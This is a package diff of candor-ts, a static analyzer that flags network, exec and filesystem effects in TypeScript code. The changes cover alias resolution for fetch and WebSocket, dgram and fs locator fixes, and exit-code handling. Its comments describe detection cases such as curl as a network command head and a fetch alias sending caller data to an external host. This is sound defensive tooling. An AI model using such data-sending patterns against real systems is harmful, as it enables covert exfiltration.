candor-ts 0.28.2 → 0.29.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/scan.mjs CHANGED
@@ -27,11 +27,12 @@ import path from "node:path";
27
27
  import { fileURLToPath } from "node:url";
28
28
  import { createRequire } from "node:module";
29
29
  import { execFileSync } from "node:child_process";
30
+ import os from "node:os";
30
31
  import { parsePolicy, evaluatePolicy, scopeMatches, parseUnknownAliases, parseNetPartners, discoverConfigText,
31
32
  reasonClass, discoverConfigPath, policyVocabularyAnchor, policyErrorText, policyRefusalUnevaluated, policyUnreadable, policyZeroRules, fatalPolicyErrors, refusalVerdict,
32
33
  netClassResolver, resolveReasonClasses } from "./policy.mjs";
33
34
  import { unverifiedHoleRule, ruleUpgrade, byCodePoint, claimsToHaveJudgedNothing, reportCorruptKeys, entryCorruptKeys } from "./query-core.mjs";
34
- import { printAgents } from "./contract.mjs";
35
+ import { printAgents, writeStdoutSync } from "./contract.mjs";
35
36
  import { isTestPath, kappa, kappaKnows, fsKind, commandHeadEffects, hostLiteral, tablesInSql,
36
37
  modelHostEffects, isModelHost, isModelSdkPackage, netClassesOf } from "./scan-core.mjs";
37
38
  import { emitSurface } from "./surface.mjs";
@@ -44,7 +45,45 @@ const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
44
45
  // literal stamped into the envelope's `spec` field, so the doc lines and the report can never drift.
45
46
  // Reused, never re-littered.
46
47
  const PKG_VERSION = JSON.parse(fs.readFileSync(path.join(ENGINE_DIR, "package.json"), "utf8")).version;
47
- const SPEC_VERSION = "0.28";
48
+ const SPEC_VERSION = "0.29";
49
+
50
+ // A TREE TOO DEEP TO WALK IS "COULD NOT EVALUATE" (exit 2), NEVER "FOUND A VIOLATION" (exit 1).
51
+ //
52
+ // The AST passes recurse (`visitCalls` → `ts.forEachChild` → `visitCalls`), so a deeply nested
53
+ // expression exhausts the JS stack and node dies with an uncaught RangeError — a raw stack trace on
54
+ // stderr and exit 1. Exit 1 is the code for A VIOLATION WAS FOUND. A wrapper that reads the exit code
55
+ // (every CI gate does) is told the gate ran and failed the tree, when in fact nothing was analyzed and
56
+ // no report was written. That is the wrong side of the fail-closed line: loud, but loudly WRONG.
57
+ //
58
+ // MEASURED, this machine, `export function f(): number { return (((…1…))); }`:
59
+ // depth 400 → pre-⟨0.29⟩ walked it, ⟨0.29⟩ overflows the rung grew `visitCalls`'s frame
60
+ // depth 800 → BOTH overflow so the crash long predates the rung
61
+ // The rung did not introduce this; it lowered the ceiling past the fuzzer's fixed 400-deep bait and
62
+ // made a standing defect visible. Shrinking the frame back would return the fuzzer to green and leave
63
+ // the wrong exit code live one nesting level further down — the fix that deletes the evidence.
64
+ //
65
+ // Narrow ON PURPOSE: only the stack-exhaustion RangeError is translated. Every other uncaught error
66
+ // keeps the behaviour it had (stack on stderr, exit 1), because widening the net here would convert
67
+ // unknown crashes into a tidy "could not evaluate" and hide the next real bug behind a clean message.
68
+ //
69
+ // RESIDUAL, stated because it is real and NOT measured: runaway recursion in THIS code exhausts the
70
+ // stack exactly as a deep tree does, so such a bug would now be reported as "nests deeper than the
71
+ // engine can walk", and nothing here can tell the two apart. It stays LOUD either way — exit 2, no
72
+ // report, never a green — so the cost is a misleading message, not a wrong verdict. If this message
73
+ // ever appears on a SHALLOW tree, the message is the bug and the recursion is where to look.
74
+ process.on("uncaughtException", (e) => {
75
+ if (e instanceof RangeError && /Maximum call stack/i.test(e?.message ?? "")) {
76
+ console.error("candor-ts: this tree nests deeper than the engine can walk — the AST passes recurse, "
77
+ + "and the JS stack ran out before the scan finished. NOTHING was analyzed and no report was "
78
+ + "written, so this is 'could not evaluate' (exit 2), not a clean tree and not a violation. "
79
+ + "Re-run with a larger stack — `node --stack-size=4000 scan.mjs …` — or scan the offending "
80
+ + "file on its own to find it.");
81
+ process.exit(2);
82
+ }
83
+ console.error(e?.stack ?? String(e));
84
+ process.exit(1);
85
+ });
86
+
48
87
  /** The `deps` / `CANDOR_DEPS` separator set — ASCII whitespace plus `:` and `,`.
49
88
  *
50
89
  * ONE CONSTANT BECAUSE TWO SPELLINGS WERE A SILENT GREEN. The §3.3.1 sink-over-input guard and the
@@ -130,6 +169,15 @@ See https://github.com/tombaldwin/candor`);
130
169
  // value-consuming skip handles, nor produce a "lying unknown flag" error for a real flag given first.
131
170
  const usage = "usage: candor-ts <dir | file.ts | tsconfig.json> [--out <prefix>] [--json] [--policy <file>] [--gate-json <file>] [--allow-js] [--workspace] [--agents] [--version] [--help]";
132
171
  const argv = process.argv.slice(2);
172
+ // ⟨0.29⟩ THE PEEK, CHILD SIDE. Set only by this file on itself (see the peek block near the report
173
+ // write). A peek is handed an EXPLICIT file list by its parent — the very files the parent excluded —
174
+ // so it must analyse exactly those and apply NONE of the selection rules that excluded them.
175
+ //
176
+ // MEASURED before this existed: the parent handed the child a `*.test.ts` that runs `execSync("ls")`,
177
+ // the child's own `isTestPath` filter dropped it from `fileNames`, and the scan published
178
+ // `excluded: [{class:"test-file", peeked:true}]` with `outOfScope: []` under `deny Exec` — the peek
179
+ // reporting that it read the file and found nothing, about a file it refused to open.
180
+ const IS_PEEK = argv.includes("--peek-excluded");
133
181
  // Declared HERE, above the sink guard, because the guard calls `loadCandorConfig` and that reads
134
182
  // these: left below, they were in the temporal dead zone, the call threw, and the `catch` around it
135
183
  // swallowed the throw — so the config channel the guard exists to enumerate was silently empty and a
@@ -279,7 +327,7 @@ const distinctOutPrefixes = (all) => {
279
327
  // candor-ts: 1 source file(s) failed to parse — NOT analyzed …
280
328
  // candor-ts: wrote 0 effectful functions (1 analyzed, 1 files) to .candor/report.json exit 0
281
329
  // $ cat src/main.ts
282
- // { "spec": "0.28", "ok": false, … } ← the operator's SOURCE, unrecoverably replaced
330
+ // { "spec": "0.28", "ok": false, … } ← the operator's SOURCE, unrecoverably replaced (measured at spec 0.28, informative)
283
331
  //
284
332
  // Unrecoverable loss of the operator's own code, reported as SUCCESS — the run destroyed the file,
285
333
  // then dutifully disclosed the parse failure it had itself caused.
@@ -900,6 +948,11 @@ for (let i = 0; i < argv.length; i++) {
900
948
  // sibling's effects instead of reading pure (the candor-ts analog of rust `--deps`, SPEC §2).
901
949
  else if (a === "--workspace" || a === "--deps") wantWorkspace = true;
902
950
  else if (a === "--dep-inits") wantDepInits = true;
951
+ // ⟨0.29⟩ INTERNAL — set only by this file's own peek spawn (see IS_PEEK). Accepted here so the child
952
+ // does not take the unknown-flag path, which prints a refusal and, on the `--json` route, still emits a
953
+ // report: the parent parsed THAT as a successful peek of an empty file set. Deliberately absent from
954
+ // the usage string — it is not a way to scan a file list, it is the marker that this run IS a peek.
955
+ else if (a === "--peek-excluded") { /* consumed; behaviour lives in IS_PEEK */ }
903
956
  else if (a === "--out" || a === "--policy" || a === "--gate-json") {
904
957
  const v = argv[i + 1];
905
958
  if (v === undefined || v.startsWith("--")) {
@@ -1260,7 +1313,8 @@ function fromTsconfig(cfgPath, baseDir) {
1260
1313
  }
1261
1314
  names = [...new Set(names)];
1262
1315
  }
1263
- return names.filter((f) => !isTestPath(path.relative(baseDir, f)));
1316
+ // ⟨0.29⟩ a peek analyses the list it was handed — see IS_PEEK.
1317
+ return IS_PEEK ? names : names.filter((f) => !isTestPath(path.relative(baseDir, f)));
1264
1318
  }
1265
1319
  const stat = fs.existsSync(target) ? fs.statSync(target) : null;
1266
1320
  if (!stat) {
@@ -1292,7 +1346,7 @@ if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
1292
1346
  (function walk(d) {
1293
1347
  for (const ent of fs.readdirSync(d, { withFileTypes: true })) {
1294
1348
  const p = path.join(d, ent.name);
1295
- if (isTestPath(path.relative(rootDir, p))) continue;
1349
+ if (!IS_PEEK && isTestPath(path.relative(rootDir, p))) continue; // ⟨0.29⟩ see IS_PEEK
1296
1350
  if (ent.isDirectory()) walk(p);
1297
1351
  else if (/\.[mc]?tsx?$/.test(ent.name) && !ent.name.endsWith(".d.ts")) fileNames.push(p);
1298
1352
  else if (allowJs && /\.[mc]?jsx?$/.test(ent.name) && !/\.min\.js$/.test(ent.name)) fileNames.push(p);
@@ -1300,6 +1354,49 @@ if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
1300
1354
  })(rootDir);
1301
1355
  }
1302
1356
  }
1357
+ // ── ⟨0.29⟩ THE SCOPE: what this run chose not to open ──────────────────────────────────────────────
1358
+ // `analyzed.count` is a numerator; the selection above produced it and appeared nowhere, so a consumer
1359
+ // could not tell whether the answer was to the question they asked. Every exclusion here is deliberate —
1360
+ // `isTestPath`, `.d.ts`, the tsconfig's own `include` — and being deliberate is precisely why none was
1361
+ // measured: a limitation written as a comment reads as considered.
1362
+ //
1363
+ // Walked ONCE from the same root, skipping the directories nobody means. CLASSES WITH COUNTS, never file
1364
+ // lists: an excluded set that can contain node_modules is unbounded, and a gate that prints thousands of
1365
+ // paths is one people scroll past.
1366
+ const excludedFiles = [];
1367
+ {
1368
+ const inSet = new Set(fileNames.map((f) => path.resolve(f)));
1369
+ const SKIP_DIR = new Set(["node_modules", ".git", "dist", "build", "out", "coverage", ".next"]);
1370
+ let rootIsDir = false;
1371
+ try { rootIsDir = fs.statSync(rootDir).isDirectory(); } catch { /* not walkable */ }
1372
+ if (rootIsDir) {
1373
+ (function walkAll(d) {
1374
+ let ents; try { ents = fs.readdirSync(d, { withFileTypes: true }); } catch { return; }
1375
+ for (const ent of ents) {
1376
+ const q = path.join(d, ent.name);
1377
+ if (ent.isDirectory()) { if (!SKIP_DIR.has(ent.name) && !ent.name.startsWith(".")) walkAll(q); continue; }
1378
+ if (!PARSED_SOURCE_EXT.test(ent.name)) continue; // another language is not this engine's claim
1379
+ if (inSet.has(path.resolve(q))) continue; // analyzed, therefore not excluded
1380
+ const rel = path.relative(rootDir, q);
1381
+ excludedFiles.push({
1382
+ path: rel,
1383
+ cls: ent.name.endsWith(".d.ts") ? "declaration-only"
1384
+ : isTestPath(rel) ? "test-file"
1385
+ : usedTsconfig ? "outside-the-tsconfig-program"
1386
+ : "not-a-parsed-source",
1387
+ });
1388
+ }
1389
+ })(rootDir);
1390
+ }
1391
+ }
1392
+ const EXCLUDED_REASON = {
1393
+ "declaration-only": "a `.d.ts` declares types and carries no body, so there is nothing to judge in it",
1394
+ "test-file": "a test file describes what the HARNESS does, not what the project does",
1395
+ "outside-the-tsconfig-program":
1396
+ "the tsconfig's `include`/`exclude` did not name it, so it is not part of the program this scan "
1397
+ + "analyzed — a file your build excludes may still run in CI or at install time",
1398
+ "not-a-parsed-source": "not in this run's parse set",
1399
+ };
1303
1400
  if (fileNames.length === 0) {
1304
1401
  console.error(`candor-ts: no TypeScript sources under ${target}`);
1305
1402
  // An empty scan is an exit-2 cause like any other: a consumer reading the stream after it must not
@@ -1626,7 +1723,18 @@ if (wantDepInits) {
1626
1723
  // banner's) that drifted from this would make the engine distrust its OWN reports at the §2.1
1627
1724
  // staleness check (`d.candor?.version !== ENGINE_VERSION`), silently downgrading every chained dep.
1628
1725
  const ENGINE_VERSION = `candor-ts-${PKG_VERSION}`;
1629
- const crossDeps = new Map(); // hash -> {inferred:Set, hosts:[], cmds:[], paths:[], tables:[]}
1726
+ const crossDeps = new Map(); // hash -> {inferred:Set, hosts:[], cmds:[], paths:[], tables:[], incomplete:Set}
1727
+ // ⟨0.29⟩ WAS A DEPENDENCY REPORT CHAINED INTO THIS RUN? Read by the gate to disclose the bound on the
1728
+ // NAME-matching rule kinds. Keyed on the report being LOADED, not on a hit being applied: a dependency
1729
+ // whose reached function is PURE produces no hit at all, and that is precisely the fixture that caught
1730
+ // this gap — the operator chained a dep either way, so the name rules are blind to those crossings either
1731
+ // way.
1732
+ let depReportsRead = 0;
1733
+ // ⟨0.29⟩ Keyed on a report being READ, not on entries being ingested and not on a hit being applied: a
1734
+ // dependency whose reached function is PURE yields a report with NO entries and produces no hit, which is
1735
+ // exactly the fixture that caught this gap twice while I narrowed the predicate. The operator chained a
1736
+ // dep either way, so the name-matching rules are blind to those crossings either way.
1737
+ const depChained = () => depReportsRead > 0;
1630
1738
  // Packages a loaded sibling report COVERS — exempt from the κ ledger even when a call joins no
1631
1739
  // entry (reports omit pure functions: the silence is the purity claim, SPEC §2 rule 3 — the
1632
1740
  // serde_json rule the Rust/JVM engines already carry; /code-review found TS missing it). Fed from
@@ -1908,6 +2016,7 @@ const corruptDepPkgs = new Set();
1908
2016
  // coverage the first withheld.
1909
2017
  const covers = stale ? staleDepPkgs : incomplete ? incompleteDepPkgs : corrupt ? corruptDepPkgs
1910
2018
  : judgedNothing ? unjudgedDepPkgs : depCoveredPkgs; // an untrusted, self-declared-incomplete, corrupt or unjudged report grants no coverage
2019
+ depReportsRead += 1; // ⟨0.29⟩ see `depChained` — a dep was chained, whatever it contained
1911
2020
  if (corrupt) console.error(`candor-ts: chained dependency report ${f} has ${corruptKeys.length} present-but-unparseable §2 key(s)`
1912
2021
  + ` — granted NO coverage, so calls into it read as INVISIBLE rather than pure (SPEC §2 ⟨0.24⟩): ${corruptKeys.join("; ")}`);
1913
2022
  if (typeof d.package === "string" && d.package) covers.add(d.package);
@@ -1934,7 +2043,7 @@ const corruptDepPkgs = new Set();
1934
2043
  if (!stale && entryCorruptKeys(e).length) continue;
1935
2044
  const hashPkg = e.hash.split("#")[0];
1936
2045
  if (hashPkg) covers.add(hashPkg);
1937
- const cell = crossDeps.get(e.hash) ?? { inferred: new Set(), invisible: new Set(), why: new Set(), hosts: [], cmds: [], paths: [], tables: [], netIncomplete: false };
2046
+ const cell = crossDeps.get(e.hash) ?? { inferred: new Set(), invisible: new Set(), why: new Set(), hosts: [], cmds: [], paths: [], tables: [], incomplete: new Set(), netIncomplete: false };
1938
2047
  for (const x of stale ? ["Unknown"] : strs(e.inferred)) cell.inferred.add(x);
1939
2048
  // ⟨0.19⟩ THE REASON CLASS TRAVELS WITH THE UNKNOWN. Without this the join copied `inferred` and
1940
2049
  // `invisible` only, so a dependency's `Unknown[reflect:eval]` arrived at the consumer as a bare
@@ -1976,6 +2085,11 @@ const corruptDepPkgs = new Set();
1976
2085
  if (!stale) for (const b of strs(e.invisible)) cell.invisible.add(b);
1977
2086
  if (!stale) for (const m of ["hosts", "cmds", "paths", "tables"])
1978
2087
  for (const v of strs(e[m])) if (!cell[m].includes(v)) cell[m].push(v);
2088
+ // ⟨0.29⟩ …AND THE INCOMPLETENESS, which §2's chained-join clause names in the same breath as the
2089
+ // four surfaces above: "a join that carries the effect and drops `incomplete` lets a benign
2090
+ // literal in the consumer certify what the dependency declared uncertifiable". That is not a
2091
+ // hypothetical — it is the measured defect this field was added to close.
2092
+ if (!stale) for (const v of strs(e.incomplete)) cell.incomplete.add(v);
1979
2093
  // ⟨0.20⟩ THE NET SURFACE'S INCOMPLETENESS TRAVELS WITH ITS HOSTS. `hosts` is a LOWER bound — the
1980
2094
  // producer marks a masked/hostless Net internally (`rec.incomplete`) and publishes that judgment as
1981
2095
  // `unknown-host` in `netClass`. The join copied the host LITERALS and not the judgment, so the
@@ -1986,8 +2100,15 @@ const corruptDepPkgs = new Set();
1986
2100
  // lines up, one field over: a fail-CLOSED marker failing OPEN at the boundary. No format rung: the
1987
2101
  // dependency already published the answer under the hash the consumer joins.
1988
2102
  //
1989
- // Read off `netClass` rather than an incompleteness field because `rec.incomplete` is deliberately
1990
- // INTERNAL family-wide (java/rust keep it out of the report too) — `unknown-host` IS its wire form.
2103
+ // Read off `netClass` rather than the incompleteness field because `unknown-host` IS Net's wire
2104
+ // form of it, and re-deriving one from the other would give the consumer two sources for one fact.
2105
+ //
2106
+ // ⟨0.29⟩ THE PARENTHETICAL THIS COMMENT USED TO CARRY WAS FALSE, and it cost a false all-clear.
2107
+ // It said `rec.incomplete` is "deliberately INTERNAL family-wide (java/rust keep it out of the
2108
+ // report too)". candor-rust has emitted a per-entry `incomplete` all along — SPEC §2 says so
2109
+ // explicitly, in the clause beside the one this engine was following — so the premise for keeping
2110
+ // it internal here was a statement about the family that was never true. The field is emitted and
2111
+ // joined now; see the `entry.incomplete` site and the join two lines below.
1991
2112
  // Carries ONLY the incompleteness, never the classes: `known-telemetry`/`known-partner` are facts
1992
2113
  // about the hosts already copied above, and re-deriving them from those literals is what keeps the
1993
2114
  // consumer's `netClass` a function of the surface it can see (the property `netClassesOf` exists to
@@ -2035,6 +2156,84 @@ const corruptDepPkgs = new Set();
2035
2156
  if (allowJs) { compilerOptions.allowJs = true; compilerOptions.checkJs = false; }
2036
2157
  const program = ts.createProgram(fileNames, compilerOptions);
2037
2158
  const checker = program.getTypeChecker();
2159
+
2160
+ /** A LOCAL ALIAS OF A GLOBAL IS STILL THAT GLOBAL — unwrap the binding to the node it was bound FROM.
2161
+ *
2162
+ * The global classifiers key on the callee/ctor NODE TEXT (`callee.text === "fetch"`,
2163
+ * `ctorName === "WebSocket"`), so `const send = fetch; send(url)` and `const W = WebSocket; new W(url)`
2164
+ * matched nothing and read PURE. Measured on published 0.29.0: `deny Net` answered exit 0 over a POST of
2165
+ * caller data to an external host.
2166
+ *
2167
+ * DEFINED ONCE, ON PURPOSE. This defect has now appeared in three spellings — the bare identifier, the
2168
+ * `globalThis.` qualifier, and the alias — each fixed where it was found. A second private copy of this
2169
+ * unwrap is how the fourth spelling gets missed, so the call path and the `new` path share this.
2170
+ *
2171
+ * Returns the INITIALIZER NODE, never a name, so every caller's existing shadow guard still decides: a
2172
+ * project-local `fetch` reached through an alias resolves to a project-local declaration and fabricates
2173
+ * nothing. Bounded to 4 hops and only through identifier/property-access initializers — a rebinding,
2174
+ * never a computed value, so this never follows a call or a conditional into a wrong answer.
2175
+ */
2176
+ // 16, not 4: the bound exists to stop pathological input, not to decide real code. At 4 a FIVE-deep
2177
+ // chain tripped the fail-closed arm and charged Unknown — truthful (the analysis did stop looking)
2178
+ // but imprecise, and it would have fired on an ordinary chain of renamed PURE helpers too. Set it
2179
+ // where hand-written code never reaches it, so the honest-but-vague answer is reserved for input
2180
+ // that is actually pathological.
2181
+ const ALIAS_HOPS = 16;
2182
+ /** Symbols REASSIGNED somewhere in a file — `send = fetch`, `send = helper`. Built once per file.
2183
+ *
2184
+ * The unwrap below reads a declaration's INITIALIZER, and an initializer is not a value: for
2185
+ * `let send = fetch; send = helper; send(url)` it answered `fetch` and charged Net over a call that
2186
+ * reaches a pure local — a FABRICATION this fix introduced, which 0.29.0 did not have. The mirror case
2187
+ * is worse: `let send; send = fetch; send(url)` has no initializer at all, so the unwrap returned the
2188
+ * bare identifier and the call read silent-pure — the cardinal-sin spelling of the very defect the
2189
+ * unwrap exists to close.
2190
+ *
2191
+ * One rule fixes both. A binding that is assigned anywhere is one whose value this analysis does not
2192
+ * know, so it resolves to neither answer: it is reported UNKNOWN, through the same `truncated` path a
2193
+ * too-long alias chain takes. A binding that is never reassigned still resolves precisely. */
2194
+ const reassignedCache = new WeakMap();
2195
+ const reassignedIn = (sf) => {
2196
+ let set = reassignedCache.get(sf);
2197
+ if (set) return set;
2198
+ set = new Set();
2199
+ const walk = (n) => {
2200
+ if (ts.isBinaryExpression(n) && n.operatorToken.kind === ts.SyntaxKind.EqualsToken
2201
+ && ts.isIdentifier(n.left)) {
2202
+ const sym = checker.getSymbolAtLocation(n.left);
2203
+ if (sym) set.add(sym);
2204
+ }
2205
+ ts.forEachChild(n, walk);
2206
+ };
2207
+ walk(sf);
2208
+ reassignedCache.set(sf, set);
2209
+ return set;
2210
+ };
2211
+ const unaliasGlobal = (expr) => {
2212
+ let hop = 0;
2213
+ for (; hop < ALIAS_HOPS && ts.isIdentifier(expr); hop++) {
2214
+ const sym = checker.getSymbolAtLocation(expr);
2215
+ const decl = (sym?.declarations ?? [])[0];
2216
+ // ASSIGNED SOMEWHERE ⇒ its value is not its initializer. Neither answer is available, so say so.
2217
+ if (sym && decl && reassignedIn(decl.getSourceFile()).has(sym)) return { node: expr, truncated: true };
2218
+ if (!decl || !ts.isVariableDeclaration(decl) || !decl.initializer) return { node: expr, truncated: false };
2219
+ const init = decl.initializer;
2220
+ if (!ts.isIdentifier(init) && !ts.isPropertyAccessExpression(init)) return { node: expr, truncated: false };
2221
+ expr = init;
2222
+ }
2223
+ // THE BOUND MUST FAIL CLOSED. Stopping because the CHAIN ENDED is an answer; stopping because the
2224
+ // BUDGET ended is not — and the first cut of this helper returned the same thing for both, so a
2225
+ // 5-deep alias chain read PURE while a 4-deep one read Net. That is my own fix failing open at its
2226
+ // own edge: a cliff where the analysis silently stops looking. `truncated` says which happened, and
2227
+ // the callers charge Unknown on it — the posture this engine already takes for a callee it cannot
2228
+ // resolve (a parameter call reports Unknown, never nothing).
2229
+ const stillGoing = ts.isIdentifier(expr)
2230
+ && (() => {
2231
+ const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
2232
+ return !!d && ts.isVariableDeclaration(d) && !!d.initializer
2233
+ && (ts.isIdentifier(d.initializer) || ts.isPropertyAccessExpression(d.initializer));
2234
+ })();
2235
+ return { node: expr, truncated: hop >= ALIAS_HOPS && stillGoing };
2236
+ };
2038
2237
  const projectFiles = new Set(fileNames.map((f) => path.resolve(f)));
2039
2238
  const sources = program.getSourceFiles().filter((f) => projectFiles.has(path.resolve(f.fileName)));
2040
2239
 
@@ -2214,13 +2413,17 @@ function packageManifestEffects(file) {
2214
2413
  }
2215
2414
 
2216
2415
  // ---- the literal surfaces (SPEC §2 hosts/cmds/paths/tables): the statically-decidable subset ------
2217
- // Read ONLY from string literals at a classified call — informative, never complete, never inferred.
2218
- function firstStringLiteral(node) {
2219
- for (const a of node.arguments ?? []) {
2220
- if (ts.isStringLiteralLike(a)) return a.text;
2221
- }
2222
- return null;
2223
- }
2416
+ // Read ONLY from string literals at a classified call — informative, never complete, never inferred,
2417
+ // and ALWAYS from the argument POSITION that names the locator.
2418
+ //
2419
+ // ⟨0.29⟩ `firstStringLiteral` — "the first string literal anywhere in the args" — is DELETED. It was the
2420
+ // reader for every locator surface except the `Exec` head, and it produced the same defect in each one it
2421
+ // touched: `write(userPath, "/tmp/lit")` published the bytes as the path, `send(msg, …, addr)` published
2422
+ // the payload as the host, `query(userSql, "SELECT * FROM audit_log")` published a parameter as the
2423
+ // table — each a fabricated locator that ALSO suppressed the masking guard, so a benign-looking literal
2424
+ // certified a destination nobody could see. Removed rather than left unused: a "first literal anywhere"
2425
+ // in scope is how this class comes back at the next call site somebody adds. Use
2426
+ // `programHeadLiteral` / `urlArgLiteral` / `fsPathLiteral` / argument 0 for SQL.
2224
2427
 
2225
2428
  // Is this property/element access a SETTER target reached through a destructuring assignment —
2226
2429
  // `({ k: x.prop } = src)` or `[x.prop] = arr` (sweep [32])? Walk up through PropertyAssignment /
@@ -2242,13 +2445,13 @@ function isDestructuringAssignTarget(node) {
2242
2445
  }
2243
2446
 
2244
2447
  // The literal PROGRAM head a subprocess call NAMES — argv[0] specifically, never a later argument.
2245
- // Unlike firstStringLiteral (the first literal ANYWHERE in the args), this refuses to refine when
2448
+ // Unlike a "first literal ANYWHERE in the args" reader, this refuses to refine when
2246
2449
  // the program (arg0) is a runtime value but a trailing arg is a literal whose basename hits the head
2247
2450
  // table: `spawn(toolVar, "curl")` must NOT fabricate Net — the literal is an argument, not the
2248
2451
  // program (spec §4 ⟨0.5⟩: the head is argv[0]). Mirrors candor-java programHeadLiteral and the Rust
2249
2452
  // is_cmd_naming_method gate. Returns null when arg0 is not a static string literal — the safe
2250
- // direction. Used ONLY for the effect refinement, never to widen it; the cosmetic `cmds` surface
2251
- // keeps firstStringLiteral.
2453
+ // direction. ⟨0.29⟩ the `cmds` SURFACE reads this too: it was documented as cosmetic, but `cmds` is what
2454
+ // `allow Exec <cmd>` gates on (AS-EFF-008).
2252
2455
  function programHeadLiteral(node) {
2253
2456
  const a0 = (node.arguments ?? [])[0];
2254
2457
  return a0 && ts.isStringLiteralLike(a0) ? a0.text : null;
@@ -2262,6 +2465,54 @@ function programHeadLiteral(node) {
2262
2465
  // options in the other overloads) — so those two members read arg0-or-arg1. Only STRING-LITERAL positions
2263
2466
  // are considered; returns null when the URL slot is not a static string literal — the safe direction.
2264
2467
  const NET_URL_ARG1_MEMBERS = new Set(["connect", "createConnection"]);
2468
+ // ⟨0.29⟩ dgram's `send` puts the DESTINATION ADDRESS at position 2 or 4, and position 0 is the MESSAGE.
2469
+ // Falling through to `litAt(0)` read the payload as the endpoint: MEASURED,
2470
+ // `sock.send("telemetry.example", 0, 17, 53, dst)` published `hosts: ["telemetry.example"]` with NO
2471
+ // `incomplete`, so `allow Net telemetry.example` answered `policy ✓` at exit 0 over a UDP send to a
2472
+ // runtime-controlled address. A fabricated destination masking a real one — the `Fs` content-literal
2473
+ // defect of this same rung, one effect over, in the one API whose locator is neither first nor second.
2474
+ //
2475
+ // Node documents exactly two overloads:
2476
+ // send(msg, port, address[, cb]) → address at 2, a numeric port at 1
2477
+ // send(msg, offset, length, port, address[, cb]) → address at 4, a numeric port at 3
2478
+ // so the position is recovered from the NUMERIC PORT that must precede it rather than guessed from the
2479
+ // argument count (a `cb` or an options object shifts nothing, and anything that does not match both
2480
+ // shapes returns null — the destination is then not statically visible and the caller fails closed).
2481
+ const isNumericLit = (a) => a && (ts.isNumericLiteral(a)
2482
+ || (ts.isPrefixUnaryExpression(a) && ts.isNumericLiteral(a.operand)));
2483
+ function dgramSendAddressIndex(args) {
2484
+ if (isNumericLit(args[3])) return 4;
2485
+ if (isNumericLit(args[1])) return 2;
2486
+ return -1;
2487
+ }
2488
+ // ⟨0.29⟩ THE Fs PATH LITERAL, read from the PATH ARGUMENT POSITION — the third application of the
2489
+ // `programHeadLiteral` discipline, and the one that never got it. The comment above says that rule was
2490
+ // "generalized from Exec to Net"; it stopped there, and `Fs` went on reading the first literal ANYWHERE
2491
+ // in the call. MEASURED: `fs.writeFileSync(userPath, "/tmp/lit")` published `paths: ["/tmp/lit"]` — the
2492
+ // BYTES BEING WRITTEN — so `allow Fs /tmp/lit` certified a write to a runtime-controlled destination at
2493
+ // exit 0, while candor-java and candor-swift failed closed on identical code.
2494
+ //
2495
+ // Returns { lit, complete }: `lit` is the path literal at position 0 when there is one, and `complete` is
2496
+ // false when ANY path position is not a literal. Two-path operations are why that is not one boolean:
2497
+ // `fs.copyFile("/safe", userPath)` has a literal at position 0 and still writes somewhere nobody can see.
2498
+ const FS_TWO_PATH_MEMBERS = new Set([
2499
+ "copyFile", "copyFileSync", "cp", "cpSync", "rename", "renameSync",
2500
+ "link", "linkSync", "symlink", "symlinkSync",
2501
+ ]);
2502
+ function fsPathLiteral(node, member) {
2503
+ const args = node.arguments ?? [];
2504
+ const at = (i) => (args[i] && ts.isStringLiteralLike(args[i]) ? args[i].text : null);
2505
+ const a0 = at(0);
2506
+ const needsTwo = FS_TWO_PATH_MEMBERS.has(member);
2507
+ const a1 = needsTwo ? at(1) : null;
2508
+ const complete = a0 !== null && (!needsTwo || a1 !== null);
2509
+ // EVERY literal path position, not just the first. Publishing position 0 and calling a
2510
+ // both-literal two-path call COMPLETE certified the position it never published:
2511
+ // `copyFileSync("/tmp/lit", "/tmp/dst")` under `allow Fs /tmp/lit` answered `policy ✓` at exit 0
2512
+ // while writing `/tmp/dst`. candor-java and candor-swift publish both. Found by generating a case
2513
+ // per node `fs` export and comparing against the four engines, not by re-reading this function.
2514
+ return { lits: [a0, a1].filter((x) => x !== null), complete };
2515
+ }
2265
2516
  // CONST-STRING PROPAGATION (java constant-inlining parity): resolve a bare identifier that references a
2266
2517
  // `const NAME = "literal"` string to its literal value, and ONLY then. Returns the string, or null. The
2267
2518
  // soundness rule is strict: resolve ONLY when EVERY value-declaration of the symbol is an immutable
@@ -2368,7 +2619,7 @@ function literalHeadHostUrl(expr) {
2368
2619
  }
2369
2620
  return null;
2370
2621
  }
2371
- function urlArgLiteral(node, member) {
2622
+ function urlArgLiteral(node, member, mod) {
2372
2623
  const args = node.arguments ?? [];
2373
2624
  const litAt = (i) => {
2374
2625
  const a = args[i];
@@ -2379,6 +2630,12 @@ function urlArgLiteral(node, member) {
2379
2630
  return resolveConstUrlString(a) ?? literalHeadHostUrl(a);
2380
2631
  };
2381
2632
  if (member && NET_URL_ARG1_MEMBERS.has(member)) return litAt(0) ?? litAt(1); // (port, host) or (path)
2633
+ // ⟨0.29⟩ dgram `send` — keyed on the MODULE, because a bare `send` elsewhere legitimately takes its
2634
+ // URL first and reading position 2/4 there would invent a host out of an unrelated argument.
2635
+ if (member === "send" && /^(node:)?dgram$/.test(mod ?? "")) {
2636
+ const i = dgramSendAddressIndex(args);
2637
+ return i < 0 ? null : litAt(i);
2638
+ }
2382
2639
  return litAt(0);
2383
2640
  }
2384
2641
  // Is arg0 a RUNTIME STRING expression whose host can't be known statically — a template, a string
@@ -3315,6 +3572,7 @@ function applyDepHit(rec, hit) {
3315
3572
  // layer down. Additive: it can only ADD `unknown-host`, never remove a class, so it never turns a firing
3316
3573
  // gate green.
3317
3574
  if (hit.netIncomplete) rec.incomplete.add("Net");
3575
+ for (const eff of hit.incomplete ?? []) rec.incomplete.add(eff); // ⟨0.29⟩ see the sibling join site
3318
3576
  }
3319
3577
  function unanswerableKey(decl) {
3320
3578
  if (!decl) return null;
@@ -3882,6 +4140,18 @@ const identIsGlobalProcess = (id) => {
3882
4140
  const isProcessEnvExpr = (expr) =>
3883
4141
  expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "env" && identIsGlobalProcess(expr.expression);
3884
4142
 
4143
+ // …AND `process.argv`, which is the same channel. §1 defines Env as "reading environment variables /
4144
+ // THE PROCESS ENVIRONMENT", and argv is process-startup state delivered by the same `exec` call that
4145
